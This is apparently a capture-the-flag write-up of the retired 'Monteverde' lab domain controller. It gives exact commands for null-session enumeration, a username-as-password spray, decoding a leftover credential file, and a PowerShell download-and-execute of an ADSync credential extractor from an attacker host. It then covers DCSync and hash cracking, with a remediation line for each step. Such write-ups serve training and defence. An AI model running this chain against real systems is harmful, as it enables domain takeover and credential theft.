Monteverde
Summary
The MEGABANK.LOCAL domain controller (MONTEVERDE, $TARGET) was fully compromised through a chain of four misconfigurations requiring no exploitation of unpatched software. Unauthenticated LDAP and SMB null sessions handed over the complete domain user list without credentials. A spray of those usernames against themselves as passwords cracked that service account in seconds.
That account had read access to a company-wide SMB share (users$) holding a PowerShell CliXML credential file left over from an Azure AD Connect deployment — decoding it revealed the cleartext password for mhope. A WinRM shell as mhope yielded the user flag. Mhope's membership in the Azure Admins group granted read access to the local Azure AD Connect synchronization database, from which the MSOL service account's credentials were recovered.
That account holds DCSync rights over the domain; a replication request extracted the domain Administrator's NT hash, which was cracked to recover the plaintext password. A WinRM session as domain Administrator captured the root flag — complete domain compromise, from zero credentials to full Domain Admin, with no vulnerability beyond configuration choices.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <id>, <msol_password> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
Version and script scan on common Active Directory / domain controller ports.
$ nmap -sV -sC -p 53,88,135,139,389,445,464,593,636,3268,5985,9389 $TARGET -oN monteverde_ports.txtConfirm OS version, domain name, SMB signing status, and null-auth availability.
$ nxc smb $TARGETExact commands 3
Anonymous LDAP bind — dumps all domain user accounts without credentials.
$ nxc ldap $TARGET -u '' -p '' --usersSMB null/guest session — confirms unauthenticated access and lists visible shares.
$ nxc smb $TARGET -u 'guest' -p '' --sharesRPC null session — cross-confirms the domain user list via the SAM RPC interface.
$ rpcclient -U "" -N $TARGET -c enumdomusersFixDisable anonymous and null-session access to LDAP and SMBHigh
Exact commands 1
Spray each username as its own password; users.txt contains the 10 harvested accounts. --no-bruteforce pairs each user with the password on the same line only.
$ nxc smb $TARGET -d MEGABANK.LOCAL -u users.txt -p users.txt --no-bruteforce --continue-on-successFixEnforce a password policy that blocks usernames and predictable patterns as passwordsCritical
Exact commands 4
List shares accessible to the spray-cracked service account.
$ nxc smb $TARGET -d MEGABANK.LOCAL -u $PASSWORD3 -p $PASSWORD3 --sharesRecursively download all files from the users$ share into the current directory.
$ smbclient //$TARGET/users$ -U "MEGABANK.LOCAL\$PASSWORD3%$PASSWORD3" -c 'recurse ON; prompt OFF; mget *'Identify encoding — expect UTF-16LE data stream.
$ file mhope/azure.xmlConvert the CliXML to readable UTF-8; the cleartext password appears in the Password field.
$ iconv -f UTF-16LE -t UTF-8 mhope/azure.xmlFixRestrict the users$ share to owner-only access and purge embedded credential filesCritical
Exact commands 3
Confirm WinRM access returns Pwn3d! Before opening an interactive session.
$ nxc winrm $TARGET -d MEGABANK.LOCAL -u mhope -p "$PASSWORD"Open an interactive PowerShell session as mhope.
$ evil-winrm -i $TARGET -u mhope -p "$PASSWORD"Read the user flag from within the evil-winrm session; value: <user.txt>.
$ Get-Content C:\Users\mhope\Desktop\user.txtExact commands 4
Inside the evil-winrm session — confirm Azure Admins group membership in the token.
$ whoami /allConfirm the Azure AD Connect synchronisation service is running on this host.
$ Get-Service ADSyncOn my machine — serve the ADSync credential extraction script.
$ python3 -m http.server 80Inside evil-winrm — download and execute the ADSync credential extractor. Replace $ATTACKER_IP. Outputs the MSOL account username and cleartext password.
$ IEX(New-Object Net.WebClient).DownloadString("http://$ATTACKER_IP/AdDecrypt.ps1")FixIsolate Azure AD Connect on a dedicated server and restrict ADSync database accessCritical
Exact commands 2
DCSync the Administrator's NT hash using the MSOL account's recovered credentials. Replace MSOL_<id> and <msol_password> with the values extracted in step 6.
$ impacket-secretsdump "MEGABANK.LOCAL/MSOL_<id>:<msol_password>@$TARGET" -just-dc-user AdministratorOffline crack of the Administrator NT hash; alternatively use pass-the-hash directly with -H flag in evil-winrm.
$ hashcat -m 1000 admin_hash.txt /usr/share/wordlists/rockyou.txtFixRevoke unnecessary DCSync rights and alert on replication requests from non-DC hostsCritical
Exact commands 3
Confirm Domain Admin WinRM access before opening a shell.
$ nxc winrm $TARGET -d MEGABANK.LOCAL -u administrator -p "$PASSWORD2"Open an interactive Domain Admin PowerShell session.
$ evil-winrm -i $TARGET -u administrator -p "$PASSWORD2"Read the root flag; value: <root.txt>.
$ Get-Content C:\Users\Administrator\Desktop\root.txtAttack patterns used
The transferable techniques behind this compromise.
DCSyncActive Directory · Credential AccessT1003.006
What it is
DCSync abuses the Directory Replication Service (DRSUAPI) protocol that Domain Controllers use to replicate data. A principal holding the Replicating Directory Changes rights can ask a DC to replicate password hashes for any account — including krbtgt — without touching LSASS, e.g. secretsdump.py -just-dc. Recovering krbtgt enables Golden Tickets.
Why it works
Replication rights are meant only for DCs and a few admin roles; over-delegation (or compromise of a privileged account) lets an unauthorised user impersonate a DC. Remediate by auditing who holds replication rights and monitoring DRSUAPI requests from non-DC hosts.
Read more
Exposed services
| 53/tcp | domain Simple DNS Plus |
| 88/tcp | kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-09 07:01:34Z) |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 389/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL, Site: Default-First-Site-Name) |
| 445/tcp | microsoft-ds? |
| 464/tcp | kpasswd5? |
| 593/tcp | ncacn_http Microsoft Windows RPC over HTTP 1.0 |
| 636/tcp | tcpwrapped |
| 3268/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL, Site: Default-First-Site-Name) |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 9389/tcp | mc-nmf .NET Message Framing |
| 49666/tcp | unknown recon-sweep-discovered |
| 49673/tcp | unknown recon-sweep-discovered |
| 49674/tcp | unknown recon-sweep-discovered |
| 49676/tcp | unknown recon-sweep-discovered |
| 49696/tcp | unknown recon-sweep-discovered |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.